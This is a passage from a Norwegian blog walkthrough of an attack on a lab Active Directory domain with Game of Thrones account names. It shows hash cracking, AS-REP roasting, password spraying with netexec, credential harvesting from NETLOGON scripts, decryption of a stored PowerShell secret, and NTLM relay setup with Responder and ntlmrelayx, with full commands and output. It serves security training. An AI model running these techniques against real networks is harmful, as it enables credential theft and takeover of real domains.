    Candidates.#1....: $HEX[206b72697374656e616e6e65] -> $HEX[042a0337c2a156616d6f732103]
    Hardware.Mon.#1..: Util: 67%
    
    Started: Mon Sep 22 14:06:26 2025
    Stopped: Mon Sep 22 14:06:41 2025

    Prøver vi derimot med robb.stark ser vi at vi finner passordet meget raskt. For å korte ned litt tar jeg ikke med alt av output fra hashcat, men vi ser på slutten her at passordet til robb.stark er “sexywolfy”.

    ROBB.STARK::NORTH:1122334455667788:8085a38911a1dc543eb609d7dd13ec92:010100000000000080fd79cd0624dc01b9ab15d533d4516d0000000002000800490053004800420001001e00570049004e002d0049004e005600320042004d004700540031004a00540004003400570049004e002d0049004e005600320042004d004700540031004a0054002e0049005300480042002e004c004f00430041004c000300140049005300480042002e004c004f00430041004c000500140049005300480042002e004c004f00430041004c000700080080fd79cd0624dc0106000400020000000800300030000000000000000000000000300000e7c75260965ffe977866685eba6db455fb9bb51e917a1ce3b28827603de5a25c0a001000000000000000000000000000000000000900160063006900660073002f0042007200610076006f0073000000000000000000:sexywolfy
    

    Vi har allerede den tilgangen vi trenger, egentlig, men vi ønsker også å se på andre sårbarheter.


    AS-Rep Roasting

    Et eksempel kan være å sjekke om vi kan AS-REP roaste brukerkontoer i lista vi fikk fra enum4linux i recon fasen.

    AS-REP eller “Authentication Server Response” kan utnyttes dersom en konto er flagget “UF_DONT_REQUIRE_PREAUTH”.

    Hvem som helst med nettverkstilgang vil kunne be om en såkalt “Ticket Granting Ticket” (TGT) fra Kerberos Key Distribution Center (KDC). Denne billetten (TGT) kan man bruke til å skaffe tjenestebilletter for å logge seg på gitte tjenester, som f.eks fileshares, remote desktop, el.l – men er kryptert med kontoens passord. Dermed kan vi forsøke å cracke passordet med et ordliste angrep, mot en kryptert TGT.

    └─$ GetNPUsers.py -usersfile creds/userlist.north.sevenkingdoms.local -request -format hashcat -outputfile creds/north.asrep -dc-ip 10.3.2.11 'NORTH/'
    
    [-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
    [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
    [-] User SEVENKINGDOMS$ doesn't have UF_DONT_REQUIRE_PREAUTH set
    [-] User arya.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
    [-] User eddard.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
    [-] User catelyn.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
    [-] User sansa.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
    $krb5asrep$23$brandon.stark@NORTH:973db4ba589726bc964c68c804b487ce$d84f141daf8038225860954b00aee0578224ba0f052d99f0e575b0197f375f577d801bd6bb4784aa2d1d14693e8c7feb52331d1f97ce47cbd81f3114bcd88153e5fc492a6b9a42643043cae5cb79387b6d7f788d58fce52495b72c48c537668e8cb2d35c96117fb49f34ced19a3a39ff5552d9d0ef1ba74f8d022fe47b524b76b49da7e354a36588efa4e594fb0343a231c1702acd088c351280174df0963386635d2f43a8a249db4070e778185e08e73032856d523f68f2bf0028db72199fd145544ad180d3095126332b2d63acee31c6ce395be66ea84159371229c92f9f425e0bf5a126974d86d2c06919475f69965297
    [-] User rickon.stark doesn't have UF_DONT_REQUIRE_PREAUTH set
    [-] User hodor doesn't have UF_DONT_REQUIRE_PREAUTH set
    [-] User jon.snow doesn't have UF_DONT_REQUIRE_PREAUTH set
    [-] User samwell.tarly doesn't have UF_DONT_REQUIRE_PREAUTH set
    [-] User jeor.mormont doesn't have UF_DONT_REQUIRE_PREAUTH set
    [-] User sql_svc doesn't have UF_DONT_REQUIRE_PREAUTH set

    Vi har altså klart å AS-REP roaste brukeren til NORTH\Brandon.Stark, noe som innebærer at vi har fått tak i en kerberos ticket kryptert med hans passord. Det betyr at vi kan forsøke å cracke passordet til denne kontoen.


    Password spraying

    Videre kan vi forsøke å gjette passord mot kontoer. Det er ikke helt uvanlig at brukernavn = passord, som f.eks i admin/admin standardpålogginger og lignende.

    ─$ for p in $(cat creds/userlist.north.sevenkingdoms.local); do netexec smb 10.3.2.0/24 -u $p -p $p; done 
    
    Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
    SMB         10.3.2.12       445    MEEREEN          [*] Windows 10 / Server 2016 Build 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True)
    SMB         10.3.2.12       445    MEEREEN          [-] essos.local\hodor:hodor STATUS_LOGON_FAILURE
    SMB         10.3.2.23       445    BRAAVOS          [*] Windows 10 / Server 2016 Build 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True)
    SMB         10.3.2.10       445    KINGSLANDING     [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMB>
    SMB         10.3.2.22       445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False>
    SMB         10.3.2.11       445    WINTERFELL       [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) >
    SMB         10.3.2.23       445    BRAAVOS          [+] essos.local\hodor:hodor (Guest)
    SMB         10.3.2.10       445    KINGSLANDING     [-] sevenkingdoms.local\hodor:hodor STATUS_LOGON_FAILURE
    SMB         10.3.2.22       445    CASTELBLACK      [+] north.sevenkingdoms.local\hodor:hodor
    SMB         10.3.2.11       445    WINTERFELL       [+] north.sevenkingdoms.local\hodor:hodor

    Som vi ser er hodor:hodor akseptert på winterfell og castelblack, men på braavos har vi kun gjestetilgang, fordi han eksisterer ikke i essos\ domenet.

    Tidligere fikk vi også et hint om at NORTH\arya.stark sitt passord kanskje kunne være “Needle”.

    $ netexec smb --shares 10.3.2.10-30 -u "arya.stark" -p "Needle"       
    SMB         10.3.2.10       445    KINGSLANDING     [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:False)
    SMB         10.3.2.11       445    WINTERFELL       [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
    SMB         10.3.2.22       445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False)
    SMB         10.3.2.10       445    KINGSLANDING     [-] sevenkingdoms.local\arya.stark:Needle STATUS_LOGON_FAILURE 
    SMB         10.3.2.23       445    BRAAVOS          [*] Windows 10 / Server 2016 Build 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True) 
    SMB         10.3.2.12       445    MEEREEN          [*] Windows 10 / Server 2016 Build 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True) 
    SMB         10.3.2.11       445    WINTERFELL       [+] north.sevenkingdoms.local\arya.stark:Needle 
    SMB         10.3.2.22       445    CASTELBLACK      [+] north.sevenkingdoms.local\arya.stark:Needle 
    SMB         10.3.2.23       445    BRAAVOS          [+] essos.local\arya.stark:Needle (Guest)
    SMB         10.3.2.12       445    MEEREEN          [-] essos.local\arya.stark:Needle STATUS_LOGON_FAILURE 
    SMB         10.3.2.11       445    WINTERFELL       [*] Enumerated shares
    SMB         10.3.2.11       445    WINTERFELL       Share           Permissions     Remark
    SMB         10.3.2.11       445    WINTERFELL       -----           -----------     ------
    SMB         10.3.2.11       445    WINTERFELL       ADMIN$                          Remote Admin
    SMB         10.3.2.11       445    WINTERFELL       C$                              Default share
    SMB         10.3.2.11       445    WINTERFELL       IPC$            READ            Remote IPC
    SMB         10.3.2.11       445    WINTERFELL       NETLOGON        READ            Logon server share 
    SMB         10.3.2.11       445    WINTERFELL       SYSVOL          READ            Logon server share 
    SMB         10.3.2.22       445    CASTELBLACK      [*] Enumerated shares
    SMB         10.3.2.22       445    CASTELBLACK      Share           Permissions     Remark
    SMB         10.3.2.22       445    CASTELBLACK      -----           -----------     ------
    SMB         10.3.2.22       445    CASTELBLACK      ADMIN$                          Remote Admin
    SMB         10.3.2.22       445    CASTELBLACK      all             READ,WRITE      Basic RW share for all
    SMB         10.3.2.22       445    CASTELBLACK      C$                              Default share
    SMB         10.3.2.22       445    CASTELBLACK      IPC$            READ            Remote IPC
    SMB         10.3.2.22       445    CASTELBLACK      public          READ,WRITE      Basic Read share for all domain users
    SMB         10.3.2.23       445    BRAAVOS          [*] Enumerated shares
    SMB         10.3.2.23       445    BRAAVOS          Share           Permissions     Remark
    SMB         10.3.2.23       445    BRAAVOS          -----           -----------     ------
    SMB         10.3.2.23       445    BRAAVOS          ADMIN$                          Remote Admin
    SMB         10.3.2.23       445    BRAAVOS          all             READ,WRITE      Basic RW share for all
    SMB         10.3.2.23       445    BRAAVOS          C$                              Default share
    SMB         10.3.2.23       445    BRAAVOS          CertEnroll                      Active Directory Certificate Services share
    SMB         10.3.2.23       445    BRAAVOS          IPC$            READ            Remote IPC
    SMB         10.3.2.23       445    BRAAVOS          public                          Basic Read share for all domain users
    Running nxc against 21 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
    
    

    Vi ser at vi igjen får tilgang til castelblack og winterfell med north\arya.stark og passordet “Needle”, men her får vi også tilgang til Braavos serveren i essos.local som essos\arya.stark, istedenfor som gjest denne gangen.

    Fra rekognoseringen i forrige bloggpost kunne vi også lese i beskrivelsen til Samwell Tarly at passordet skulle være Heartsbane. Vi prøver det også:

    $ netexec smb --shares 10.3.2.10-30 -u "samwell.tarly" -p "Heartsbane"
    SMB         10.3.2.10       445    KINGSLANDING     [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:False)
    SMB         10.3.2.12       445    MEEREEN          [*] Windows 10 / Server 2016 Build 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True) 
    SMB         10.3.2.23       445    BRAAVOS          [*] Windows 10 / Server 2016 Build 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True) 
    SMB         10.3.2.11       445    WINTERFELL       [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
    SMB         10.3.2.10       445    KINGSLANDING     [-] sevenkingdoms.local\samwell.tarly:Heartsbane STATUS_LOGON_FAILURE 
    SMB         10.3.2.22       445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False)
    SMB         10.3.2.12       445    MEEREEN          [-] essos.local\samwell.tarly:Heartsbane STATUS_LOGON_FAILURE 
    SMB         10.3.2.23       445    BRAAVOS          [+] essos.local\samwell.tarly:Heartsbane (Guest)
    SMB         10.3.2.11       445    WINTERFELL       [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane 
    SMB         10.3.2.22       445    CASTELBLACK      [+] north.sevenkingdoms.local\samwell.tarly:Heartsbane 
    SMB         10.3.2.23       445    BRAAVOS          [*] Enumerated shares
    SMB         10.3.2.23       445    BRAAVOS          Share           Permissions     Remark
    SMB         10.3.2.23       445    BRAAVOS          -----           -----------     ------
    SMB         10.3.2.23       445    BRAAVOS          ADMIN$                          Remote Admin
    SMB         10.3.2.23       445    BRAAVOS          all             READ,WRITE      Basic RW share for all
    SMB         10.3.2.23       445    BRAAVOS          C$                              Default share
    SMB         10.3.2.23       445    BRAAVOS          CertEnroll                      Active Directory Certificate Services share
    SMB         10.3.2.23       445    BRAAVOS          IPC$            READ            Remote IPC
    SMB         10.3.2.23       445    BRAAVOS          public                          Basic Read share for all domain users
    SMB         10.3.2.11       445    WINTERFELL       [*] Enumerated shares
    SMB         10.3.2.11       445    WINTERFELL       Share           Permissions     Remark
    SMB         10.3.2.11       445    WINTERFELL       -----           -----------     ------
    SMB         10.3.2.11       445    WINTERFELL       ADMIN$                          Remote Admin
    SMB         10.3.2.11       445    WINTERFELL       C$                              Default share
    SMB         10.3.2.11       445    WINTERFELL       IPC$            READ            Remote IPC
    SMB         10.3.2.11       445    WINTERFELL       NETLOGON        READ            Logon server share 
    SMB         10.3.2.11       445    WINTERFELL       SYSVOL          READ            Logon server share 
    SMB         10.3.2.22       445    CASTELBLACK      [*] Enumerated shares
    SMB         10.3.2.22       445    CASTELBLACK      Share           Permissions     Remark
    SMB         10.3.2.22       445    CASTELBLACK      -----           -----------     ------
    SMB         10.3.2.22       445    CASTELBLACK      ADMIN$                          Remote Admin
    SMB         10.3.2.22       445    CASTELBLACK      all             READ,WRITE      Basic RW share for all
    SMB         10.3.2.22       445    CASTELBLACK      C$                              Default share
    SMB         10.3.2.22       445    CASTELBLACK      IPC$            READ            Remote IPC
    SMB         10.3.2.22       445    CASTELBLACK      public          READ,WRITE      Basic Read share for all domain users
    Running nxc against 21 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

    Prøver vi samme metoden med robb.stark og sexywolfy får vi et svært lovende resultat:

    $ netexec smb --shares 10.3.2.10-30 -u "robb.stark" -p "sexywolfy"                         
    SMB         10.3.2.10       445    KINGSLANDING     [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:False)
    SMB         10.3.2.12       445    MEEREEN          [*] Windows 10 / Server 2016 Build 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True) 
    SMB         10.3.2.23       445    BRAAVOS          [*] Windows 10 / Server 2016 Build 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True) 
    SMB         10.3.2.22       445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False)
    SMB         10.3.2.10       445    KINGSLANDING     [-] sevenkingdoms.local\robb.stark:sexywolfy STATUS_LOGON_FAILURE 
    SMB         10.3.2.12       445    MEEREEN          [-] essos.local\robb.stark:sexywolfy STATUS_LOGON_FAILURE 
    SMB         10.3.2.23       445    BRAAVOS          [+] essos.local\robb.stark:sexywolfy (Guest)
    SMB         10.3.2.22       445    CASTELBLACK      [+] north.sevenkingdoms.local\robb.stark:sexywolfy 
    SMB         10.3.2.23       445    BRAAVOS          [*] Enumerated shares
    SMB         10.3.2.23       445    BRAAVOS          Share           Permissions     Remark
    SMB         10.3.2.23       445    BRAAVOS          -----           -----------     ------
    SMB         10.3.2.23       445    BRAAVOS          ADMIN$                          Remote Admin
    SMB         10.3.2.23       445    BRAAVOS          all             READ,WRITE      Basic RW share for all
    SMB         10.3.2.23       445    BRAAVOS          C$                              Default share
    SMB         10.3.2.23       445    BRAAVOS          CertEnroll                      Active Directory Certificate Services share
    SMB         10.3.2.23       445    BRAAVOS          IPC$            READ            Remote IPC
    SMB         10.3.2.23       445    BRAAVOS          public                          Basic Read share for all domain users
    SMB         10.3.2.22       445    CASTELBLACK      [*] Enumerated shares
    SMB         10.3.2.22       445    CASTELBLACK      Share           Permissions     Remark
    SMB         10.3.2.22       445    CASTELBLACK      -----           -----------     ------
    SMB         10.3.2.22       445    CASTELBLACK      ADMIN$                          Remote Admin
    SMB         10.3.2.22       445    CASTELBLACK      all             READ,WRITE      Basic RW share for all
    SMB         10.3.2.22       445    CASTELBLACK      C$                              Default share
    SMB         10.3.2.22       445    CASTELBLACK      IPC$            READ            Remote IPC
    SMB         10.3.2.22       445    CASTELBLACK      public          READ,WRITE      Basic Read share for all domain users
    SMB         10.3.2.11       445    WINTERFELL       [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)
    SMB         10.3.2.11       445    WINTERFELL       [+] north.sevenkingdoms.local\robb.stark:sexywolfy (Pwn3d!)
    SMB         10.3.2.11       445    WINTERFELL       [*] Enumerated shares
    SMB         10.3.2.11       445    WINTERFELL       Share           Permissions     Remark
    SMB         10.3.2.11       445    WINTERFELL       -----           -----------     ------
    SMB         10.3.2.11       445    WINTERFELL       ADMIN$          READ,WRITE      Remote Admin
    SMB         10.3.2.11       445    WINTERFELL       C$              READ,WRITE      Default share
    SMB         10.3.2.11       445    WINTERFELL       IPC$            READ            Remote IPC
    SMB         10.3.2.11       445    WINTERFELL       NETLOGON        READ,WRITE      Logon server share 
    SMB         10.3.2.11       445    WINTERFELL       SYSVOL          READ,WRITE      Logon server share 
    Running nxc against 21 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

    Vi har altså full admintilgang på Winterfell DCen allerede nå, men vi skal se på et par ting til før vi gir oss med initial access temaet.

    Det første jeg vil demonstrere er hvordan vi kan lete etter informasjon i bl.a. gruppepolicy.

    Tar vi utgangspunkt i tilgangen vi får med bare hodor:hodor kan vi f.eks se at vi har leserettigheter på SYSVOL og NETLOGON filområdene på domenekontrolleren.

    SMB         10.3.2.11       445    WINTERFELL       [*] Enumerated shares
    SMB         10.3.2.11       445    WINTERFELL       Share           Permissions     Remark
    SMB         10.3.2.11       445    WINTERFELL       -----           -----------     ------
    SMB         10.3.2.11       445    WINTERFELL       ADMIN$                          Remote Admin
    SMB         10.3.2.11       445    WINTERFELL       C$                              Default share
    SMB         10.3.2.11       445    WINTERFELL       IPC$            READ            Remote IPC
    SMB         10.3.2.11       445    WINTERFELL       NETLOGON        READ            Logon server share 
    SMB         10.3.2.11       445    WINTERFELL       SYSVOL          READ            Logon server share 

    Vi bruker verktøyet SMBClient til å koble på winterfell’s NETLOGON share som hodor med passordet hodor.

    $ smbclient //winterfell.north.sevenkingdoms.local/NETLOGON -U "hodor"
    Password for [WORKGROUP\hodor]:
    Try "help" to get a list of possible commands.
    smb: \> ls
      .                                   D        0  Mon Sep 22 14:08:35 2025
      ..                                  D        0  Mon Sep 22 14:08:35 2025
      script.ps1                          A      165  Thu Sep 11 15:04:32 2025
      secret.ps1                          A      869  Thu Sep 11 15:04:34 2025
    
                    15638527 blocks of size 4096. 9445328 blocks available
    smb: \> mget *
    Get file script.ps1? yes
    getting file \script.ps1 of size 165 as script.ps1 (5.2 KiloBytes/sec) (average 5.2 KiloBytes/sec)
    Get file secret.ps1? yes
    getting file \secret.ps1 of size 869 as secret.ps1 (22.3 KiloBytes/sec) (average 14.6 KiloBytes/sec)
    smb: \> exit

    Vi har funnet to spennende filer – script.ps1 og secret.ps1 som kan være veldig lovende.

    Ser vi på innholdet i script.ps1 finner vi påloggingsinformasjonen til jeor.mormont.

    $ cat script.ps1 
    # fake script in netlogon with creds
    $task = '/c TODO'
    $taskName = "fake task"
    $user = "NORTH\jeor.mormont"
    $password = "_L0ngCl@w_"
    
    # passwords in sysvol still ...   

    Vi kan sjekke om det stemmer med netexec:

    $ netexec smb --shares 10.3.2.10-30 -u "jeor.mormont" -p "_L0ngCl@w_"
    SMB         10.3.2.22       445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False)
    SMB         10.3.2.23       445    BRAAVOS          [*] Windows 10 / Server 2016 Build 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True) 
    SMB         10.3.2.12       445    MEEREEN          [*] Windows 10 / Server 2016 Build 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True) 
    SMB         10.3.2.10       445    KINGSLANDING     [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:False)                                                                                                                                                              
    SMB         10.3.2.11       445    WINTERFELL       [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False)                                                                                                                                                          
    SMB         10.3.2.22       445    CASTELBLACK      [+] north.sevenkingdoms.local\jeor.mormont:_L0ngCl@w_ (Pwn3d!)
    SMB         10.3.2.23       445    BRAAVOS          [+] essos.local\jeor.mormont:_L0ngCl@w_ (Guest)
    SMB         10.3.2.12       445    MEEREEN          [-] essos.local\jeor.mormont:_L0ngCl@w_ STATUS_LOGON_FAILURE 
    SMB         10.3.2.10       445    KINGSLANDING     [-] sevenkingdoms.local\jeor.mormont:_L0ngCl@w_ STATUS_LOGON_FAILURE 
    SMB         10.3.2.11       445    WINTERFELL       [+] north.sevenkingdoms.local\jeor.mormont:_L0ngCl@w_ 
    SMB         10.3.2.23       445    BRAAVOS          [*] Enumerated shares
    SMB         10.3.2.23       445    BRAAVOS          Share           Permissions     Remark
    SMB         10.3.2.23       445    BRAAVOS          -----           -----------     ------
    SMB         10.3.2.23       445    BRAAVOS          ADMIN$                          Remote Admin
    SMB         10.3.2.23       445    BRAAVOS          all             READ,WRITE      Basic RW share for all
    SMB         10.3.2.23       445    BRAAVOS          C$                              Default share
    SMB         10.3.2.23       445    BRAAVOS          CertEnroll                      Active Directory Certificate Services share
    SMB         10.3.2.23       445    BRAAVOS          IPC$            READ            Remote IPC
    SMB         10.3.2.23       445    BRAAVOS          public                          Basic Read share for all domain users
    SMB         10.3.2.11       445    WINTERFELL       [*] Enumerated shares
    SMB         10.3.2.11       445    WINTERFELL       Share           Permissions     Remark
    SMB         10.3.2.11       445    WINTERFELL       -----           -----------     ------
    SMB         10.3.2.11       445    WINTERFELL       ADMIN$                          Remote Admin
    SMB         10.3.2.11       445    WINTERFELL       C$                              Default share
    SMB         10.3.2.11       445    WINTERFELL       IPC$            READ            Remote IPC
    SMB         10.3.2.11       445    WINTERFELL       NETLOGON        READ            Logon server share 
    SMB         10.3.2.11       445    WINTERFELL       SYSVOL          READ            Logon server share 
    SMB         10.3.2.22       445    CASTELBLACK      [*] Enumerated shares
    SMB         10.3.2.22       445    CASTELBLACK      Share           Permissions     Remark
    SMB         10.3.2.22       445    CASTELBLACK      -----           -----------     ------
    SMB         10.3.2.22       445    CASTELBLACK      ADMIN$          READ,WRITE      Remote Admin
    SMB         10.3.2.22       445    CASTELBLACK      all             READ,WRITE      Basic RW share for all
    SMB         10.3.2.22       445    CASTELBLACK      C$              READ,WRITE      Default share
    SMB         10.3.2.22       445    CASTELBLACK      IPC$            READ            Remote IPC
    SMB         10.3.2.22       445    CASTELBLACK      public          READ,WRITE      Basic Read share for all domain users
    Running nxc against 21 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

    Det fungerte fint, men vi har enda en fil å sjekke ut – secret.ps1

    $ cat secret.ps1 
    # cypher script
    # $domain="sevenkingdoms.local"
    # $EncryptionKeyBytes = New-Object Byte[] 32
    # [Security.Cryptography.RNGCryptoServiceProvider]::Create().GetBytes($EncryptionKeyBytes)
    # $EncryptionKeyBytes | Out-File "encryption.key"
    # $EncryptionKeyData = Get-Content "encryption.key"
    # Read-Host -AsSecureString | ConvertFrom-SecureString -Key $EncryptionKeyData | Out-File -FilePath "secret.encrypted"
    
    # secret stored :
    $keyData = 177, 252, 228, 64, 28, 91, 12, 201, 20, 91, 21, 139, 255, 65, 9, 247, 41, 55, 164, 28, 75, 132, 143, 71, 62, 191, 211, 61, 154, 61, 216, 91
    $secret="76492d1116743f0423413b16050a5345MgB8AGkAcwBDACsAUwArADIAcABRAEcARABnAGYAMwA3AEEAcgBFAEIAYQB2AEEAPQA9AHwAZQAwADgANAA2ADQAMABiADYANAAwADYANgA1ADcANgAxAGIAMQBhAGQANQBlAGYAYQBiADQAYQA2ADkAZgBlAGQAMQAzADAANQAyADUAMgAyADYANAA3ADAAZABiAGEAOAA0AGUAOQBkAGMAZABmAGEANAAyADkAZgAyADIAMwA="
    
    # T.L. 

    Her har vi altså et powershell script, som definerer noen variabler. Den tar inn et passord, konverterer det med nøkkeldata, og lagrer et kryptert passord.

    Vi kan prøve å reversere prosessen ved å ta det krypterte passordet, og dekryptere det med nøkkeldataene som ligger i scriptet.

    $keyData = 177, 252, 228, 64, 28, 91, 12, 201, 20, 91, 21, 139, 255, 65, 9, 247, 41, 55, 164, 28, 75, 132, 143, 71, 62, 191, 211, 61, 154, 61, 216, 91
    $secureString = ConvertTo-SecureString $secret -Key $keyData
    $plain = [System.Net.NetworkCredential]::new("", $secureString).Password
    Write-Host "Decrypted secret: $plain"

    Dette gir resultatet: powerkingftw135

    Vi har altså en ukjent bruker, signert “T.L”, med passord powerkingftw135


    NTLM Relay

    Fordi vi ikke klarte å knekke passordet til Eddard Stark, så skal vi prøve å logge inn uten å kunne passordet. Dette angrepet kalles et NTLM Relay angrep.

    Først har vi behov for en liste med verter som ikke krever SMB-signering, slik at vi kan forfalske opphavet til en autentiseringsforespørsel.

    $ netexec smb 10.3.2.10-30 --gen-relay-list ntlmrelay.netexec 
    SMB         10.3.2.12       445    MEEREEN          [*] Windows 10 / Server 2016 Build 14393 x64 (name:MEEREEN) (domain:essos.local) (signing:True) (SMBv1:True) 
    SMB         10.3.2.10       445    KINGSLANDING     [*] Windows 10 / Server 2019 Build 17763 x64 (name:KINGSLANDING) (domain:sevenkingdoms.local) (signing:True) (SMBv1:False) 
    SMB         10.3.2.11       445    WINTERFELL       [*] Windows 10 / Server 2019 Build 17763 x64 (name:WINTERFELL) (domain:north.sevenkingdoms.local) (signing:True) (SMBv1:False) 
    SMB         10.3.2.22       445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False) 
    SMB         10.3.2.23       445    BRAAVOS          [*] Windows 10 / Server 2016 Build 14393 x64 (name:BRAAVOS) (domain:essos.local) (signing:False) (SMBv1:True) 
    Running nxc against 21 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
    

    Vi sjekker innholdet i filen ntlmrelay.netexec, og ser at 10.3.2.22 og 10.3.2.23 er sårbare.

    $ cat ntlmrelay.netexec   
    10.3.2.22
    10.3.2.23

    Vi ønsker å bruke Responder sammen med NTLMRelayX for å utføre dette angrepet, så vi setter opp NTLMRelayX slik at det lagrer sesjoner i en SOCKS proxy for oss.

    $ ntlmrelayx.py -socks -smb2support -tf ./ntlmrelay.netexec                                                       
    
    [*] Protocol Client IMAP loaded..
    [*] Protocol Client IMAPS loaded..
    [*] Protocol Client LDAP loaded..
    [*] Protocol Client LDAPS loaded..
    [*] Protocol Client SMTP loaded..
    [*] Protocol Client HTTPS loaded..
    [*] Protocol Client HTTP loaded..
    [*] Protocol Client MSSQL loaded..
    [*] Protocol Client SMB loaded..
    [*] Protocol Client DCSYNC loaded..
    [*] Protocol Client RPC loaded..
    [*] Running in relay mode to hosts in targetfile
    [*] SOCKS proxy started. Listening on 127.0.0.1:1080
    [*] IMAP Socks Plugin loaded..
    [*] LDAPS Socks Plugin loaded..
    [*] SMTP Socks Plugin loaded..
    [*] LDAP Socks Plugin loaded..
    [*] HTTPS Socks Plugin loaded..
    [*] MSSQL Socks Plugin loaded..
    [*] HTTP Socks Plugin loaded..
    [*] IMAPS Socks Plugin loaded..
    [*] SMB Socks Plugin loaded..
    [*] Setting up SMB Server on port 445
    [*] Setting up HTTP Server on port 80
     * Serving Flask app 'impacket.examples.ntlmrelayx.servers.socksserver'
     * Debug mode: off
    [*] Setting up WCF Server on port 9389
    [*] Setting up RAW Server on port 6666
    [*] Multirelay enabled
    
    [*] Servers started, waiting for connections

    NTLMRelayX er oppe, og klar til å relaye mot de sårbare vertene, og til å lagre sesjonene i en SOCKS proxy vi kan benytte oss av. For å benytte dem må vi sette opp proxychains til å bruke den.

    $ sudo nano /etc/proxychains4.conf
    
    socks4 127.0.0.1 1080  #Legges til på slutten av fila.

    Vi må også slå av SMB poisoning i responder, ettersom vi ønsker å videresende forespørselen.

    $ sudo nano /etc/responder/Responder.conf
    
    # Påse at følgende innstillinger er satt:
    
    ; Poisoners to start
    MDNS  = On
    LLMNR = On
    NBTNS = On
    
    ; Servers to start
    SMB      = Off

    Da kan vi forsøke å forgifte LLMNR, NetBios og mDNS forespørsler på nettverket, i håp om å lure Eddard Stark til å la oss videresende hans NTLMv2 hash til Castelblack og til Braavos serverene på nettverket.

    $ sudo responder -I vxlan100             
                                             __
      .----.-----.-----.-----.-----.-----.--|  |.-----.----.
      |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
      |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                       |__|
    
    
    [+] Poisoners:
        LLMNR                      [ON]
        NBT-NS                     [ON]
        MDNS                       [ON]
        DNS                        [ON]
        DHCP                       [OFF]
    
    [+] Servers:
        HTTP server                [OFF]
        HTTPS server               [ON]
        WPAD proxy                 [OFF]
        Auth proxy                 [OFF]
        SMB server                 [OFF]
        Kerberos server            [ON]
        SQL server                 [ON]
        FTP server                 [ON]
        IMAP server                [ON]
        POP3 server                [ON]
        SMTP server                [ON]
        DNS server                 [ON]
        LDAP server                [ON]
        MQTT server                [ON]
        RDP server                 [ON]
        DCE-RPC server             [ON]
        WinRM server               [ON]
        SNMP server                [ON]
    
    [+] HTTP Options:
        Always serving EXE         [OFF]
        Serving EXE                [OFF]
        Serving HTML               [OFF]
        Upstream Proxy             [OFF]
    
    [+] Poisoning Options:
        Analyze Mode               [OFF]
        Force WPAD auth            [OFF]
        Force Basic Auth           [OFF]
        Force LM downgrade         [OFF]
        Force ESS downgrade        [OFF]
    
    [+] Generic Options:
        Responder NIC              [vxlan100]
        Responder IP               [10.3.2.109]
        Responder IPv6             [fe80::d80d:5cff:fe13:4f43]
        Challenge set              [1122334455667788]
